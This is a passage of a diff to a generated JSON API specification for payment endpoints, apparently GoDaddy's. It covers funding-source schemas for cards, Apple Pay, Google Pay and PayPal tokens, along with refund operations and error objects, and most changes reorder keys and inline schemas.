"Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "type" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } + }, + "title": "Token VerificationData", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } + "properties": { + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "type" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } + }, + "title": "Token VerificationData", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } + "properties": { + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "type" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } + }, + "title": "Token VerificationData", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "required": [ - "sourceType" - ] - }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "writeOnly": true } - } - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidRefundByRefNum", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionRefNum}", - "summary": "Void Refund", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionRefNum", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getRefundById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}", - "summary": "Get Refund", - "description": "Retrieve the information of the refund by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Refund Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "netAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Payment amount" + "type": "integer" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, "required": [ "amount", - "currency" - ] + "type" + ], + "title": "SimpleFee", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount 